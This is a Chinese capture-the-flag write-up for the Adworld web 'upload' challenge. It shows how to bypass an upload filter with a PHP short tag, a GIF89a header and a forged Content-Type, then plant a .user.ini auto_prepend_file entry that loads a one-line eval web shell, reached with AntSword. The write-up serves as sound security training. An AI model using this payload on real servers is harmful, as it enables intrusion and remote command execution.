攻防世界-web-ctf-upload

题目场景

查看源码

毫无有效的数据

官方WriteUp

本题需要利用文件上传漏洞点,通过绕过服务器的安全防护,达到getshell的目的

本题的主要考点为利用fastcgi的.user.ini特性进行任意命令执行

这里需要绕过的点如下

检查文件内容是否有php字符串

检查后缀中是否有htaccess或ph

检查文件头部信息

文件MIME类型

对于第一点可以利用短标签绕过,例如<?=phpinfo();?>

对于第二点可以通过上传.user.ini以及正常jpg文件来进行getshell,可以参考以下文章

.user.ini文件构成的PHP后门 - phith0n

在服务器中,只要是运用了fastcgi的服务器就能够利用该方式getshell,不论是apache或者ngnix或是其他服务器。

这个文件是php.ini的补充文件,当网页访问的时候就会自动查看当前目录下是否有.user.ini,然后将其补充进php.ini,并作为cgi的启动项。

其中很多功能设置了只能php.ini配置,但是还是有一些危险的功能可以被我们控制,比如auto_prepend_file。

第三点绕过方式即在文件头部添加一个图片的文件头,比如GIF89a

第四点绕过方法即修改上传时的Content-Type

因此最终的payload为:

上传.user.ini,内容为

GIF89a

auto_prepend_file=a.jpg

上传a.jpg,内容为

GIF89a

<?=eval($_POST'cmd');?>

BP抓包

上传.user.ini

再上传a.jpg

F12查看文件去向

蚁剑连接

找到flag

相关推荐
流浪法师1214 小时前
GA/T 2380-2026《信息安全技术 网络安全等级保护数据安全基本要求》深度解读
安全
BEOL贝尔科技16 小时前
样本安全存储中还有哪些重要因素需要考虑?如何设置样本安全?
人工智能·安全·数据分析
卓豪终端管理17 小时前
零信任落地,终端是「最后一公里」也是「最难一公里」
安全
RisunJan18 小时前
Linux命令-shutdown(安全关闭或重启系统)
linux·服务器·安全
贩卖黄昏的熊19 小时前
NestJS简明教程——安全
开发语言·javascript·安全·typescript·nest.js
山东科恩光电20 小时前
如何通过安全地毯确保工业现场的人员防护?
安全
小小代码狗21 小时前
PHP 常用函数与变量参考文档
开发语言·安全·php
笨鸟先飞,勤能补拙1 天前
下一个十年:网络安全正在被重写
网络·人工智能·安全·web安全·网络安全·github
月光船幽幽1 天前
安全域公理:连续与脉冲扰动的量化约束
科技·安全
各类产品分享1 天前
化工园区做AR安全巡检推荐哪家供应商
安全·ar·ar智慧运维解决方案